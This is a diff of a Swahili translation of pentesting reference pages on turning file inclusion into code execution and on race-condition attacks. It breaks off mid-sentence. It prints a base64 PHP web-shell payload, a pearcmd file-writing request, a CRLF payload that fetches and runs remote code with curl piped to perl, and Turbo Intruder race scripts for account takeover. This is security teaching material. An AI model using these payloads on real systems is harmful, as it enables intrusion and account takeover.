**\/.ssh/id_rsa** -### **Kupitia** **vsftpd** _**rejista**_ +### **Kupitia** **vsftpd** _**logs**_ -Rejista za FTP server vsftpd zipo katika _**/var/log/vsftpd.log**_. Katika hali ambapo Local File Inclusion (LFI) vulnerability ipo, na upatikanaji wa server ya vsftpd iliyo wazi unawezawezekana, hatua zifuatazo zinaweza kuzingatiwa: +Logs za server ya FTP vsftpd ziko katika _**/var/log/vsftpd.log**_. Katika tukio ambapo kuna udhaifu wa Local File Inclusion (LFI), na ufikiaji wa exposed vsftpd server unapatikana, hatua zifuatazo zinaweza kuzingatiwa: -1. Injiza payload ya PHP kwenye uwanja wa username wakati wa mchakato wa login. -2. Baada ya injection, tumia LFI kupata rejista za server kutoka _**/var/log/vsftpd.log**_. +1. Ingiza payload ya PHP kwenye sehemu ya username wakati wa mchakato wa kuingia. +2. Baada ya injection, tumia LFI kupata logs za server kutoka _**/var/log/vsftpd.log**_. -### Kupitia php base64 filter (kutumia base64) +### Kupitia php base64 filter (using base64) -Kama inavyoonyeshwa katika [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) makala, PHP base64 filter huwapuuza wahusika wasiokuwa base64. Unaweza kutumia hilo kupita ukaguzi wa extension ya faili: ukitoa base64 inayomalizika na ".php", itapuuza "." na kuongeza "php" kwenye base64. Hapa kuna payload ya mfano: +Kama ilivyoonyeshwa katika [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter inapuuzia vitu visivyo base64. Unaweza kutumia hilo kuepuka ukaguzi wa file extension: ikiwa utatoa base64 inayomalizika na ".php", itapuuzia tu "." na kuongeza "php" kwenye base64. Hapa kuna mfano wa payload: ```url http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php @@ -570,7 +570,7 @@ NOTE: the payload is "" ``` ### Kupitia php filters (hakuna faili inahitajika) -Hii [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) inaeleza kwamba unaweza kutumia **php filters to generate arbitrary content** kama matokeo. Ambayo kwa msingi inamaanisha kwamba unaweza **generate arbitrary php code** kwa include **without needing to write** it into a file. +Hii [**writeup**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) inaelezea kwamba unaweza kutumia **php filters** kuunda maudhui yoyote kama matokeo. Hii kwa msingi inamaanisha kwamba unaweza **kuunda arbitrary php code** kwa ajili ya include **bila kuhitaji kuiandika** kwenye faili. {{#ref}} @@ -579,16 +579,16 @@ lfi2rce-via-php-filters.md ### Kupitia segmentation fault -**Pakia** faili itakayohifadhiwa kama **temporary** katika `/tmp`, kisha katika **request moja hiyo,** chochea **segmentation fault**, na basi **faili ya muda haitaondolewa** na unaweza kuitafuta. +**Pakia** faili itakayohifadhiwa kama **kwa muda** kwenye `/tmp`, kisha katika **maombi yale yale,** chochea **segmentation fault**, na kisha faili **ya muda haitafutwa** na unaweza kuitafuta. {{#ref}} lfi2rce-via-segmentation-fault.md {{#endref}} -### Kupitia Nginx temp file storage +### Kupitia uhifadhi wa faili za muda wa Nginx -Ikiwa umepata **Local File Inclusion** na **Nginx** inaendesha mbele ya PHP unaweza kupata RCE kwa mbinu ifuatayo: +Iwapo umepata **Local File Inclusion** na **Nginx** inaendesha mbele ya PHP, unaweza kupata RCE kwa kutumia mbinu ifuatayo: {{#ref}} @@ -597,16 +597,16 @@ lfi2rce-via-nginx-temp-files.md ### Kupitia PHP_SESSION_UPLOAD_PROGRESS -Kama umepata **Local File Inclusion** hata kama **huna session** na `session.auto_start` iko `Off`. Ikiwa utatoa **`PHP_SESSION_UPLOAD_PROGRESS`** katika data ya **multipart POST**, PHP itafungua/itawezisha session kwako. Unaweza kutumia hili kupata RCE: +Iwapo umepata **Local File Inclusion** hata kama **huna session** na `session.auto_start` imewekwa `Off`. Ukiweka **`PHP_SESSION_UPLOAD_PROGRESS`** katika data ya **multipart POST**, PHP itaamsha session kwako. Unaweza kudanganya hili kupata RCE: {{#ref}} via-php_session_upload_progress.md {{#endref}} -### Kupitia temp file uploads katika Windows +### Kupitia upakiaji wa faili za muda kwenye Windows -Ikiwa umepata **Local File Inclusion** na server inaendesha kwenye **Windows** unaweza kupata RCE: +Kama umepata **Local File Inclusion** na server inaendesha kwenye **Windows**, unaweza kupata RCE: {{#ref}} @@ -615,13 +615,13 @@ lfi2rce-via-temp-file-uploads.md ### Kupitia `pearcmd.php` + URL args -As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/). +Kama [**ilivyoelezwa katika chapisho hili**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), script `/usr/local/lib/phppearcmd.php` ipo kwa chaguo-msingi katika php docker images. Aidha, inawezekana kupitisha argumento kwa script kupitia URL kwa sababu inaonyesha kwamba ikiwa param ya URL haina `=`, inapaswa kutumika kama argumento. Tazama pia [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) na [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/). -The following request create a file in `/tmp/hello.php` with the content ``: +Ombi lifuatalo litaumba faili katika `/tmp/hello.php` yenye maudhui ``: ```bash GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/+/tmp/hello.php HTTP/1.1 ``` -Ifuatayo inatumia CRLF vuln ili kupata RCE (kutoka [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)): +Ifuatayo inatumia CRLF vuln kupata RCE (kutoka [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)): ``` http://server/cgi-bin/redir.cgi?r=http:// %0d%0a Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a @@ -630,7 +630,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php ``` ### Kupitia phpinfo() (file_uploads = on) -Ikiwa umepata **Local File Inclusion** na faili inayofichua **phpinfo()** na file_uploads = on, unaweza kupata RCE: +Ikiwa umepata **Local File Inclusion** na faili inayoonyesha **phpinfo()** na file_uploads = on unaweza kupata RCE: {{#ref}} @@ -639,7 +639,7 @@ lfi2rce-via-phpinfo.md ### Kupitia compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure -Ikiwa umepata **Local File Inclusion** na unaweza **exfiltrate the path** ya temp file, LAKINI **server** inafanya **checking** ikiwa **file to be included has PHP marks**, unaweza kujaribu **bypass that check** kwa kutumia **Race Condition**: +Ikiwa umepata **Local File Inclusion** na unaweza **exfiltrate** njia ya faili ya temp LAKINI **server** inakagua ikiwa **file to be included has PHP marks**, unaweza kujaribu **bypass that check** kwa kutumia hii **Race Condition**: {{#ref}} @@ -648,19 +648,19 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md ### Kupitia eternal waiting + bruteforce -Ikiwa unaweza kutumia LFI ili **upload temporary files** na kuifanya server **hang** utekelezaji wa PHP, unaweza kisha **brute force filenames during hours** ili kupata temporary file: +Ikiwa unaweza kutumia LFI ili **upload temporary files** na kumfanya **server** **hang** utekelezaji wa PHP, unaweza kisha **brute force** majina ya faili kwa muda wa saa ili kupata faili ya muda: {{#ref}} lfi2rce-via-eternal-waiting.md {{#endref}} -### Kwa Fatal Error +### Kusababisha Fatal Error -Ikiwa una-include yoyote ya faili `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Unahitaji kujumuisha ile ile mara 2 ili kusababisha error hiyo). +Ikiwa ujumuisha yoyote ya faili `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Unahitaji kujumuisha ile ile mara 2 ili kusababisha error hiyo). -**Sijui jinsi hii inavyoweza kuwa muhimu, lakini inaweza kuwa.**\ -_Hata kama unasababisha PHP Fatal Error, PHP temporary files zilizouppload zinafutwa._ +**Sijui jinsi hii ni muhimu lakini huenda iwe hivyo.**\ +_Hata ikiwa unasababisha PHP Fatal Error, PHP temporary files uploaded zinafutwa._
diff --git a/src/pentesting-web/race-condition.md b/src/pentesting-web/race-condition.md index f113d21c2..8f9858692 100644 --- a/src/pentesting-web/race-condition.md +++ b/src/pentesting-web/race-condition.md @@ -3,43 +3,43 @@ {{#include ../banners/hacktricks-training.md}} > [!WARNING] -> Ili kupata uelewa wa kina wa teknik hii angalia ripoti ya awali katika [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine) +> Kwa kupata uelewa wa kina wa mbinu hii angalia ripoti ya asili katika [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine) -## Enhancing Race Condition Attacks +## Kuongeza Race Condition Attacks -Kizuizi kikuu katika kutumia race conditions ni kuhakikisha kuwa requests nyingi zinashughulikiwa kwa wakati mmoja, kwa **tofauti ndogo sana katika nyakati zao za usindikaji—kwa uzuri, chini ya 1ms**. +Kizuizi kikuu katika kuchukua faida ya race conditions ni kuhakikisha kwamba requests nyingi zinashughulikiwa kwa wakati mmoja, na tofauti ndogo sana katika nyakati zao za usindikaji—ikiwa inawezekana, chini ya 1ms. -Hapa unaweza kupata mbinu baadhi za kusawazisha maombi: +Hapa unaweza kupata baadhi ya mbinu za kuoanisha Requests: #### HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization -- **HTTP/2**: Inaunga mkono kutuma requests mbili juu ya connection moja ya TCP, kupunguza athari ya network jitter. Hata hivyo, kutokana na tofauti upande wa server, requests mbili zinaweza zisitoshe kwa exploit ya race condition ya mara kwa mara. -- **HTTP/1.1 'Last-Byte Sync'**: Inaruhusu kutuma sehemu nyingi za 20-30 requests mapema, ukizuia kipande kidogo, ambacho kisha kinatumwa pamoja, kufanikisha kufika kwa wakati mmoja kwenye server. +- **HTTP/2**: Inaruhusu kutuma two requests juu ya single TCP connection, ikipunguza athari ya network jitter. Hata hivyo, kutokana na tofauti upande wa server, requests mbili zinaweza zisitoshe kwa exploit thabiti ya race condition. +- **HTTP/1.1 'Last-Byte Sync'**: Inawawezesha kupeleka mapema sehemu kubwa za requests 20-30, ukihifadhi kipande kidogo, ambacho kisha kinatumwa pamoja, ukifikia kuwasili kwa wakati mmoja kwenye server. -Maandalizi ya Last-Byte Sync ni pamoja na: +**Preparation for Last-Byte Sync** inajumuisha: -1. Kutuma headers na body data bila bajeti ya mwisho bila kumaliza stream. -2. Kusitisha kwa 100ms baada ya send ya kwanza. -3. Kuzima TCP_NODELAY ili kutumia Nagle's algorithm kwa kuunganisha frames za mwisho. -4. Kufanya ping ili kuchemsha connection. +1. Kutuma headers na body data bila byte ya mwisho bila kumaliza stream. +2. Kusimama kwa 100ms baada ya kutuma awali. +3. Kuzima TCP_NODELAY ili kutumia Nagle's algorithm kwa ajili ya kuunganisha final frames. +4. Kufanya ping ili kupasha moto connection. -Kutuma baadaye kwa frames zilizozuiliwa kunapaswa kusababisha kuzifikia kwa packet moja, kuthibitishwa kwa Wireshark. Mbinu hii haifanyi kazi kwa static files, ambazo kwa kawaida hazihusiki na RC attacks. +Kutumwa kwa frames zilizohifadhiwa baadaye kunapaswa kusababisha kuwasili kwao katika packet moja, kinachothibitishwa kupitia Wireshark. Mbinu hii haifanyi kazi kwa static files, ambazo kwa kawaida hazihusiki katika RC attacks. -### Adapting to Server Architecture +### Kuendana na Server Architecture -Kuelewa muundo wa lengo ni muhimu. Front-end servers zinaweza kupitisha requests tofauti, kuathiri timing. Kuchemsha connections upande wa server kwa requests zisizo na maana kunaweza kukanusha tofauti za timing. +Kuelewa usanifu wa lengo ni muhimu. Front-end servers zinaweza kupitisha requests kwa njia tofauti, na hivyo kuathiri timing. Kupasha moto upande wa server kwa mapema, kupitia requests zisizo na maana, kunaweza kusawazisha timing ya requests. -#### Handling Session-Based Locking +#### Kushughulikia Session-Based Locking -Frameworks kama PHP's session handler hufanya serialize requests kwa session, jambo ambalo linaweza kuficha udhaifu. Kutumia session tokens tofauti kwa kila request kunaweza kuepuka tatizo hili. +Frameworks kama PHP's session handler hurasimisha requests kwa session, jambo ambalo linaweza kuficha udhaifu. Kutumia session tokens tofauti kwa kila request kunaweza kuepuka tatizo hili. -#### Overcoming Rate or Resource Limits +#### Kupita Rate au Resource Limits -Ikiwa kuchemsha connection hakufanyi kazi, kusababisha kwa makusudi ucheleweshaji wa rate au resource limits kwa web servers kupitia flood ya dummy requests kunaweza kuwezesha single-packet attack kwa kuingiza ucheleweshaji upande wa server unaofaa kwa race conditions. +Ikiwa kupasha moto connection hakufanyi kazi, kusababisha kwa makusudi ucheleweshaji wa rate au resource limits za web servers kwa kupeleka wingi wa dummy requests kunaweza kuwezesha single-packet attack kwa kusababisha ucheleweshaji upande wa server unaofaa kwa race conditions. -## Attack Examples +## Mifano ya Attack -- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: Unaweza kutuma request kwa **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), unaweza kubadilisha kwenye request thamani unayotaka brute force kwa **`%s`** kama katika `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` na kisha chagua **`examples/race-single-packer-attack.py`** kutoka kwenye drop down: +- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: Unaweza kutuma request kwa **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), unaweza kubadilisha katika request thamani unayotaka ku-bruteforce kwa **`%s`** kama katika `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` na kisha uchague **`examples/race-single-packer-attack.py`** kutoka kwenye drop down:
@@ -50,9 +50,9 @@ for password in passwords: engine.queue(target.req, password, gate='race1') ``` > [!WARNING] -> Ikiwa tovuti haitegemei HTTP2 (inatumia tu HTTP1.1), tumia `Engine.THREADED` au `Engine.BURP` badala ya `Engine.BURP2`. +> Ikiwa tovuti haisaidii HTTP2 (inaungwa mkono tu HTTP1.1) tumia `Engine.THREADED` au `Engine.BURP` badala ya `Engine.BURP2`. -- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: Ikiwa unahitaji kutuma ombi kwa 1 endpoint kisha nyingi kwa endpoints nyingine ili kusababisha RCE, unaweza kubadilisha script ya `race-single-packet-attack.py` kwa kitu kama: +- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: Ikiwa unahitaji kutuma request kwa 1 endpoint kisha nyingi kwa endpoints nyingine ili kusababisha RCE, unaweza kubadilisha script `race-single-packet-attack.py` kwa kitu kama: ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, @@ -83,16 +83,16 @@ engine.queue(confirmationReq, gate=currentAttempt) # send all the queued requests for this attempt engine.openGate(currentAttempt) ``` -- Inapatikana pia katika **Repeater** kupitia chaguo jipya '**Send group in parallel**' katika Burp Suite. -- Kwa **limit-overrun** unaweza tu kuongeza **same request 50 times** katika group. +- Inapatikana pia katika **Repeater** kupitia chaguo mpya '**Send group in parallel**' katika Burp Suite. +- Kwa ajili ya **limit-overrun** unaweza tu kuongeza **same request 50 times** katika kikundi. - Kwa **connection warming**, unaweza **add** katika **beginning** ya **group** baadhi ya **requests** kwa sehemu isiyo-static ya web server. -- Kwa **delaying** mchakato **between** ku-processing **one request and another** katika hatua za 2 substates, unaweza **add extra requests between** requests zote mbili. -- Kwa RC ya **multi-endpoint** unaweza kuanza kutuma **request** inayowaelekea **goes to the hidden state** na kisha **50 requests** mara tu baada yake ambazo **exploits the hidden state**. +- Kwa **delaying** mchakato **between** kusindika **one request and another** katika hatua 2 za substates, unaweza **add extra requests between** ombi zote mbili. +- Kwa **multi-endpoint** RC unaweza kuanza kutuma **request** ambayo **goes to the hidden state** kisha mara tu baada yake **50 requests** ambazo **exploits the hidden state**.
-- **Automated python script**: Lengo la script hii ni kubadilisha email ya user wakati ukithibitisha mara kwa mara mpaka verification token ya email mpya ifike kwenye last email (hii ni kwa sababu katika code ilionekana RC ambapo ilikuwa inawezekana kubadilisha email lakini verification ikatumwa kwa ile ya zamani kwa sababu variable inayobainisha email ilikuwa tayari imejazwa na ile ya kwanza).\ -When the word "objetivo" is found in the received emails we know we received the verification token of the changed email and we end the attack. +- **Automated python script**: Lengo la script hii ni kubadilisha barua pepe ya mtumiaji huku ikiiendelea kuthibitisha hadi tokeni ya uthibitisho ya barua pepe mpya ifike kwenye barua pepe ya awali (hii ni kwa sababu katika code ilikuwa ikiona RC ambapo ilikuwa inawezekana kubadilisha barua pepe lakini uthibitisho ukatumwa kwa ile ya zamani kwa sababu variable iliyoonyesha barua pepe ilishajazwa na ile ya kwanza).\ +Tukipata neno "objetivo" katika barua pepe zinazopokelewa tunajua tumepokea tokeni ya uthibitisho ya barua pepe iliyobadilishwa na tunamaliza shambulio. ```python # https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun # Script from victor to solve a HTB challenge @@ -217,21 +217,29 @@ h2_conn.close_connection() response = requests.get(url, verify=False) ``` +#### Turbo Intruder: vidokezo vya engine na gating + +- Uchaguzi wa engine: tumia `Engine.BURP2` kwa malengo ya HTTP/2 ili kusababisha single‑packet attack; rejea kwa `Engine.THREADED` au `Engine.BURP` kwa HTTP/1.1 last‑byte sync. +- `gate`/`openGate`: queue many copies with `gate='race1'` (or per‑attempt gates), ambazo hushikilia tail ya kila request; `openGate('race1')` flushes all tails together ili zifikie karibu kwa wakati mmoja. +- Diagnostics: timestamps hasi kwenye Turbo Intruder zinaonyesha server ilijibu kabla request ilifikia kutumwa kwa ukamilifu, ikithibitisha overlap. Hii inatarajiwa katika races halisi. +- Connection warming: tuma ping au requests chache zisizo hatari kwanza ili kusawazisha nyakati; hiari, zimaza `TCP_NODELAY` ili kuhimiza batching ya frames za mwisho. + + ### Kuboresha Single Packet Attack -Katika utafiti wa asili ilielezwa kwamba shambulio hili lina kikomo cha 1,500 bytes. Hata hivyo, katika [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), ilielezwa jinsi inavyowezekana kupanua kikomo cha 1,500-byte cha single packet attack hadi **65,535 B window limitation of TCP by using IP layer fragmentation** (splitting a single packet into multiple IP packets) na kuvituma kwa mpangilio tofauti, kuruhusu kuzuia kuunganisha upya packet hadi fragments zote zifikie server. Mbinu hii iliruhusu mtafiti kutuma 10,000 requests kwa takriban 166ms. +Katika utafiti wa awali ilielezwa kuwa attack hii ina kikomo cha 1,500 bytes. Hata hivyo, katika [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), ilielezwa jinsi inavyowezekana kupanua kikomo cha 1,500-byte cha single packet attack hadi kikomo cha dirisha cha **65,535 B** cha TCP kwa kutumia IP layer fragmentation (kugawanya single packet kuwa multiple IP packets) na kuzituma kwa mpangilio tofauti, jambo lililoruhusu kuzuia reassembling ya packet hadi fragments zote zifikie server. Mbinu hii ilimruhusu mchambuzi kutuma requests 10,000 kwa takriban 166ms. -Kumbuka kwamba ingawa uboreshaji huu unafanya shambulio kuwa wa kuaminika zaidi katika RC unaohitaji mamia/maelfu ya packets kufika kwa wakati mmoja, inaweza pia kuwa na mipaka ya programu. Baadhi ya HTTP servers maarufu kama Apache, Nginx na Go zina setting kali ya `SETTINGS_MAX_CONCURRENT_STREAMS` kwa 100, 128 na 250. Hata hivyo, zingine kama NodeJS na nghttp2 zina bila kikomo.\ -Hii kwa msingi ina maana kwamba Apache itaangalia tu 100 HTTP connections kutoka kwa single TCP connection (kukandamiza RC attack hii). +Kumbuka kwamba ingawa kuboresha hii inafanya attack kuwa ya kuaminika zaidi katika RC zinazohitaji mamia/elfu za packets kufika kwa wakati mmoja, inaweza pia kuwa na vizingiti vya programu. Baadhi ya HTTP servers maarufu kama Apache, Nginx na Go zina setting kali ya `SETTINGS_MAX_CONCURRENT_STREAMS` kwa 100, 128 na 250. Hata hivyo, wengine kama NodeJS na nghttp2 wana kikomo kisicho na kikomo.\ +Hii kwa msingi inamaanisha kwamba Apache itazingatia tu connections 100 za HTTP kutoka kwa single TCP connection (kuzuia attack hii ya RC). -Unaweza kupata baadhi ya mifano ikitumia mbinu hii katika repo [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main). +Unaweza kupata baadhi ya mifano ikitumia teknik hii kwenye repo [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main). ## Raw BF -Kabla ya utafiti uliotajwa hapo juu hizi zilikuwa baadhi ya payloads zilizotumika ambazo zilijaribu tu kutuma packets haraka iwezekanavyo ili kusababisha RC. +Kabla ya utafiti uliopita hizi zilikuwa baadhi ya payloads zilizotumika ambazo zilijaribu tu kutuma packets kwa kasi iwezekanavyo ili kusababisha RC. -- **Repeater:** Check the examples from the previous section. -- **Intruder**: Send the **request** to **Intruder**, set the **number of threads** to **30** inside the **Options menu and,** select as payload **Null payloads** and generate **30.** +- **Repeater:** Angalia mifano kutoka sehemu iliyopita. +- **Intruder**: Tuma **request** kwa **Intruder**, weka **number of threads** kwa **30** ndani ya **Options menu and,** chagua kama payload **Null payloads** na tengeneza **30.** - **Turbo Intruder** ```python def queueRequests(target, wordlists): @@ -279,75 +287,75 @@ print(results) asyncio.run(main()) ``` -## **RC Methodology** +## **Mbinu za RC** ### Limit-overrun / TOCTOU -Hii ni aina ya msingi kabisa ya race condition ambapo **vulnerabilities** ambazo **huonekana** katika maeneo yanayoweka **kikomo kwa idadi ya mara unazoweza kufanya kitendo**. Mfano rahisi ni kutumia msimbo wa punguzo ule ule kwenye duka la mtandaoni mara nyingi. Mfano rahisi unaweza kupatikana katika [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) au katika [**this bug**](https://hackerone.com/reports/759247)**.** +Hii ni aina ya msingi kabisa ya race condition ambapo **vulnerabilities** ambazo **zinaonekana** katika maeneo ambayo **zinaweka kikomo kwa idadi ya mara unaweza kufanya kitendo**. Kama kutumia code ileile ya punguzo kwenye duka la mtandaoni mara nyingi. Mfano rahisi unaweza kupatikana katika [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) au katika [**this bug**](https://hackerone.com/reports/759247)**.** -Kuna aina nyingi za shambulio hili, zikiwemo: +Kuna utofauti mwingi wa aina hii ya shambulio, ikijumuisha: - Kutumia kadi ya zawadi mara nyingi -- Kutoa tathmini kwa bidhaa mara nyingi +- Kupatia bidhaa tathmini mara nyingi - Kutoa au kuhamisha pesa zaidi ya salio la akaunti yako - Kutumia tena suluhisho moja la CAPTCHA -- Bypassing an anti-brute-force rate limit +- Kuepuka kikomo cha kiwango cha anti-brute-force -### **Hidden substates** +### **Hali ndogo zilizofichwa** -Kufaida na race condition tata mara nyingi kunahitaji kuchukua fursa za muda mfupi za kuingiliana na hidden au **unintended machine substates**. Hivi ndivyo ya kuishughulikia: +Kufaida na race conditions tata mara nyingi kunahusisha kuchukua fursa ya nafasi fupi za kuingiliana na **hali ndogo za mashine zisizokusudiwa**. Haya ni hatua za kuifuata: -1. **Identify Potential Hidden Substates** -- Anza kwa kubaini endpoints zinazobadilisha au kuingiliana na data muhimu, kama user profiles au password reset processes. Lenga kwenye: -- **Storage**: TAFUTA endpoints zinazobadilisha data inayohifadhiwa upande wa server badala ya zile zinazosimamia data upande wa client. -- **Action**: Tazama shughuli zinazobadilisha data iliyopo, ambazo zina uwezekano mkubwa wa kuunda hali zinazoweza kutumiwa ikilinganishwa na zile zinazoongeza data mpya. -- **Keying**: Shambulio zenye mafanikio kwa kawaida zinahusisha operesheni zilizo key kwenye kiashiria kilekile, kwa mfano username au reset token. -2. **Conduct Initial Probing** -- Jaribu endpoints ulizotambua kwa race condition attacks, ukizingatia mabadiliko yasiyotarajiwa kutoka kwa matokeo yaliyotarajiwa. Majibu yasiyotarajiwa au mabadiliko katika tabia ya application yanaweza kuashiria vulnerability. -3. **Demonstrate the Vulnerability** -- Punguza shambulio hadi idadi ndogo ya requests zinazohitajika ili kutekeleza vulnerability, mara nyingi ni mbili tu. Hatua hii inaweza kuhitaji majaribio mengi au automation kutokana na timing sahihi inayohitajika. +1. **Tambua Hali Ndogo Zilizowezekana** +- Anza kwa kubainisha endpoints ambazo hubadilisha au kuingiliana na data muhimu, kama user profiles au password reset processes. Lenga kwenye: +- **Storage**: Tumia endpoints zinazoshughulikia server-side persistent data badala ya zile zinazoshughulikia data client-side. +- **Action**: Tafuta operations zinazoibadilisha data iliyopo, ambazo zina uwezekano mkubwa zaidi wa kuunda masharti ya kutumika ikilinganishwa na zile zinazoongeza data mpya. +- **Keying**: Successful attacks kawaida zinahusisha operations zinazoelekezwa kwa kitambulisho kimoja, mfano username au reset token. +2. **Fanya Uchunguzi wa Awali** +- Jaribu endpoints ulizobainisha kwa race condition attacks, ukitazama utofauti wowote na matokeo yaliyotarajiwa. Majibu yasiyotegemewa au mabadiliko katika tabia ya application yanaweza kuashiria udhaifu. +3. **Onyesha Udhaifu** +- Punguza shambulio hadi idadi ndogo ya requests zinazohitajika ili kutekeleza udhaifu, mara nyingi mbili tu. Hatua hii inaweza kuhitaji majaribio mengi au automation kutokana na wakati wa kuendana unaohitajika. -### Time Sensitive Attacks +### Shambulio Zinazotegemea Wakati -Usahihi wa timing ya requests unaweza kufichua vulnerabilities, hasa wakati mbinu zinazoonekana zinatumia timestamps kwa ajili ya security tokens. Kwa mfano, kuzalisha password reset tokens kulingana na timestamps kunaweza kuruhusu tokens sawa kwa requests zinazofanyika kwa wakati mmoja. +Usahihi wa kupanga wakati wa requests unaweza kufichua vulnerabilities, hasa wakati mbinu zinazotarajiwa kama timestamps zinatumiwa kwa security tokens. Kwa mfano, kuunda password reset tokens kulingana na timestamps kunaweza kuruhusu token sawa kwa requests zinazofanywa kwa wakati mmoja. -**To Exploit:** +**Ili Kufaidi:** -- Tumia timing sahihi, kama single packet attack, kutuma concurrent password reset requests. Tokens zinapoonekana kuwa sawa zinaonyesha vulnerability. +- Tumia timing sahihi, kama single packet attack, kutuma concurrent password reset requests. Token zinazofanana zinaashiria udhaifu. -**Example:** +**Mfano:** -- Omba password reset tokens mbili kwa wakati mmoja na uzilinganishe. Tokens zinazolingana zinapendekeza kasoro katika uzalishaji wa tokens. +- Omba password reset tokens mbili kwa wakati mmoja na uzilinganishe. Token zinazofanana zinapendekeza kasoro katika token generation. -**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **to try this.** +Angalia hii [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) ili kujaribu hii. -## Hidden substates case studies +## Masomo ya kesi za Hali ndogo zilizofichwa -### Pay & add an Item +### Lipa & ongeza Kitu -Angalia [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) kuona jinsi ya **pay** katika duka na **add an extra** item ambayo **hautahitaji kulipia**. +Angalia hii [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) kuona jinsi ya **kulipa** katika duka na **kuongeza kipengee cha ziada** ambacho **huta hitaji kulipia**. -### Confirm other emails +### Thibitisha barua pepe nyingine -Wazo ni **kuthibitisha anwani ya barua pepe na kuibadilisha kwa nyingine kwa wakati mmoja** ili kugundua kama jukwaa linathibitisha ile mpya iliyobadilishwa. +Mawazo ni **kuhakiki anwani ya barua pepe na kuibadilisha kwa nyingine kwa wakati mmoja** ili kugundua kama jukwaa linathibitisha ile mpya iliyobadilishwa. -### Change email to 2 emails addresses Cookie based +### Badilisha barua pepe kuwa anwani 2 kwa msingi wa Cookie -Kulingana na [**this research**](https://portswigger.net/research/smashing-the-state-machine) Gitlab ilikuwa vulnerable kwa takeover kwa njia hii kwa sababu inaweza **send** the **email verification token of one email to the other email**. +Kwa mujibu wa [**this research**](https://portswigger.net/research/smashing-the-state-machine) Gitlab ilikuwa hatarini kwa takeover kwa njia hii kwa sababu inaweza **kutuma** **email verification token ya barua moja kwa barua nyingine**. -**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **to try this.** +Angalia hii [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) ili kujaribu hii. -### Hidden Database states / Confirmation Bypass +### Hali Ndogo za Database / Kupitisha Uthibitisho -Ikiwa **2 different writes** zinatumiwa **kuongeza** **information** ndani ya **database**, kuna muda mdogo ambapo **data ya kwanza pekee imeandikwa** ndani ya database. Kwa mfano, wakati wa kuunda user, **username** na **password** zinaweza **kuandikwa** na kisha **token** ya kuthibitisha akaunti mpya kuandikwa. Hii inamaanisha kwa muda mfupi **token to confirm an account is null**. +Ikiwa **2 different writes** zitatumika ku**ongeza** **taarifa** ndani ya **database**, kuna sehemu ndogo ya muda ambapo **data ya kwanza tu imeandikwa** ndani ya database. Kwa mfano, wakati wa kuunda 